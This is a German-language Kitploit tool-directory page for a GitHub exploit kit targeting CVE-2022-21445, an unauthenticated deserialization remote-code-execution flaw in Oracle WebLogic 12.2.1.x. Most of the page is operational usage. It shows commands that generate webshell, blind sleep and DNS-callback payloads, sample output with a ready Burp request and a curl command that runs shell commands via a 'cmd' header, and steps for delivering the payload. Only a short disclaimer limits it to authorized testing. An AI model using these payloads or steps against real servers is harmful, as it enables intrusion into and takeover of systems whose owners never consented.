Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2022-21445 — Exploit for CVE-2022-21445 of Oracle Weblogic 12.2.1.X | Kitploit
Tools/GitHubGitHub/necr00/cve-2022-21445
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHubnecr00/cve-2022-21445

CVE-2022-21445

Exploit for CVE-2022-21445 of Oracle Weblogic 12.2.1.X

Repository anzeigen
51vor 5 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2022-21445 Exploit - PoC

Dieses Toolkit generiert Exploit-Payloads für CVE-2022-21445, eine kritische Java-Deserialisierungsschwachstelle, die Oracle WebLogic Server 12.2.1.x mit Oracle ADF Faces betrifft.

Der Fehler existiert in der Komponente RemoteApplicationResourceLoader und ermöglicht es einem Angreifer, eine speziell präparierte HTTP-GET-Anfrage zu senden, die eine unsichere Deserialisierung auslöst. Eine erfolgreiche Ausnutzung kann zu nicht authentifizierter Remote Code Execution (RCE) auf dem Zielserver führen.

Voraussetzungen

AnforderungVersionZweck
Python3.6+Ausführen des Exploit-Skripts
JDK1.8 (8u202 empfohlen)Kompilieren und Ausführen des Java-Payload-Generators
Weblogic12.2.1.XAngreifbare Versionen

Einrichtungsanleitung

JDK 1.8 installieren

Das Payload muss mit JDK 1.8 kompiliert werden, um mit der Java-Laufzeit des Ziels übereinzustimmen.

root@kitploit:~
# SDKMAN verwenden:
sdk install java 8.0.402-tem

# Java 8 auswählen
sudo update-alternatives --config java
root@kitploit:~
java -version    # Sollte 1.8.x anzeigen
javac -version   # Sollte 1.8.x anzeigen

Verwendung

Ein Webshell-Payload generieren

Erstellt ein Payload, das Befehle aus dem HTTP-Header cmd liest und die Ausgabe im Antworttext zurückgibt.

root@kitploit:~
python3 exploit.py --version 12.2.1.4 --type webshell

Ausgabe:

root@kitploit:~
[*] Target WebLogic version: 12.2.1.4
[*] Payload type: webshell
[*] Using JARs from: libs/12.2.1.4
[+] Step 1/4: Detecting ClassIdentity hash for 12.2.1.4...
[*] Detected ClassIdentity hash: 423B02C050017B24DB10DFF759AA56BF
[+] Step 2/4: Generating webshell payload class...
[+] Step 3/4: Compiling payload classes...
[+] Step 4/4: Generating serialized payload...

======================================================================
  PAYLOAD GENERATED SUCCESSFULLY
======================================================================

[*] Payload type: webshell
[*] Payload length: 2156 characters

──────────────────────────────────────────────────────────────────────
RAW PAYLOAD:
──────────────────────────────────────────────────────────────────────
H4sIAAAAAAAAAA%3D%3DlVZb...

──────────────────────────────────────────────────────────────────────
BURP REPEATER REQUEST:
──────────────────────────────────────────────────────────────────────
GET /app/afr/foo/remote/H4sIAAAAAAAAAA%3D%3DlVZb.../ HTTP/1.1
Host: target:port
cmd: whoami
Connection: close

──────────────────────────────────────────────────────────────────────
CURL COMMAND:
──────────────────────────────────────────────────────────────────────
curl -k -H "cmd: id" "https://target:port/app/afr/foo/remote/H4sI.../"

Ein Sleep- (Blind-) Payload generieren

Für Blinde Tests – bestätigt Codeausführung, wenn die Antwort verzögert wird.

root@kitploit:~
python3 exploit.py --version 12.2.1.4 --type sleep --sleep-time 10

Senden Sie das Payload und messen Sie die Antwortzeit:

  • ~10 Sekunden: Codeausführung bestätigt
  • Sofort (< 1s): Payload wird nicht ausgeführt (Versionskonflikt, gepatcht oder Kodierungsproblem)

Ein DNS-Callback-Payload generieren

Für Out-of-Band-Bestätigung mit Burp Collaborator oder Ähnlichem.

root@kitploit:~
python3 exploit.py --version 12.2.1.4 --type dns \
    --dns-host cve-21445.abc123.oastify.com

Ein Ziel angeben

Verwenden Sie --target, um formatierte Ausgabe mit dem korrekten Host und Kontextpfad zu erhalten:

root@kitploit:~
python3 exploit.py --version 12.2.1.4 --type webshell \
    --target http://10.0.0.50:8002/test

Dies formatiert die Burp-Anfrage und den curl-Befehl mit dem korrekten Host und Pfad:

root@kitploit:~
GET /test/afr/foo/remote/PAYLOAD/ HTTP/1.1
Host: 10.0.0.50:8002
cmd: whoami

Payload in Datei speichern

root@kitploit:~
python3 exploit.py --version 12.2.1.4 --type webshell \
    --output payload.txt

Senden des Exploits

Mit Burp Suite

  1. Führen Sie das Skript aus, um das Payload zu generieren
  2. Kopieren Sie den Abschnitt BURP REPEATER REQUEST aus der Ausgabe
  3. Öffnen Sie Burp Suite → Repeater → Fügen Sie die Anfrage ein
  4. Setzen Sie Zielhost und Port
  5. Klicken Sie auf Send
  6. Für die Webshell: Ändern Sie den Wert des cmd-Headers, um verschiedene Befehle auszuführen image

Fehlerbehebung

Bei defekten Jar-Dateien befolgen Sie bitte die Anleitung, um die gewünschte Weblogic-Version zu installieren und die relevanten Jars zu extrahieren.

Dies extrahiert die erforderlichen Oracle-JARs aus dem offiziellen FMW Infrastructure Docker-Image.

root@kitploit:~
# Erstellen Sie das libs-Verzeichnis
mkdir -p libs/12.2.1.3
#oder
mkdir -p libs/12.2.1.3

# Laden Sie das Oracle FMW Infrastructure 12.2.1.3 oder 12.2.1.4 Image
# Hinweis: Möglicherweise müssen Sie die Lizenz unter container-registry.oracle.com akzeptieren
docker pull container-registry.oracle.com/middleware/fmw-infrastructure:12.2.1.3.0
#ODER
docker pull container-registry.oracle.com/middleware/fmw-infrastructure:12.2.1.4.0

#Angenommen, wir benötigen die JARs der Version 12.2.1.4 (ersetzen Sie .4 durch .3 in den Befehlen für 12.2.1.3)

# Erstellen Sie einen temporären Container (muss nicht gestartet werden)
docker create --name fmw1214_temp container-registry.oracle.com/middleware/fmw-infrastructure:12.2.1.4.0

# Extrahieren Sie die erforderlichen JARs
docker cp fmw1214_temp:/u01/oracle/coherence/lib/coherence.jar ./libs/12.2.1.4/coherence.jar

docker cp fmw1214_temp:/u01/oracle/oracle_common/modules/oracle.adf.view/adf-richclient-api-11.jar ./libs/12.2.1.4/adf-richclient-api-11.jar

docker cp fmw1214_temp:/u01/oracle/oracle_common/modules/oracle.adf.view/adf-richclient-impl-11.jar ./libs/12.2.1.4/adf-richclient-impl-11.jar

docker cp fmw1214_temp:/u01/oracle/oracle_common/modules/oracle.adf.view/trinidad-api.jar ./libs/12.2.1.4/trinidad-api.jar

docker cp fmw1214_temp:/u01/oracle/oracle_common/modules/oracle.adf.view/trinidad-impl.jar ./libs/12.2.1.4/trinidad-impl.jar

Hinweis: Das javax.mail-JAR (erforderlich für MIME-Base64-Kodierung) wird automatisch beim ersten Start von Maven Central heruntergeladen. Keine manuelle Einrichtung erforderlich. Das Webshell-Payload verwendet reine Reflection und benötigt kein weblogic.jar zur Kompilierzeit.


Haftungsausschluss

Dieses Tool ist nur für autorisierte Sicherheitstests bestimmt. Holen Sie immer eine schriftliche Genehmigung ein, bevor Sie Systeme testen, die Ihnen nicht gehören. Die Autoren übernehmen keine Verantwortung für Missbrauch. Unautorisierter Zugriff auf Computersysteme ist illegal.


Referenzen

  • Oracle Critical Patch Update Advisory - April 2022
  • CVE-2022-21445 - NVD
  • hienkiet/CVE-2022-21445-for-12.2.1.3.0-Weblogic
Tool herunterladen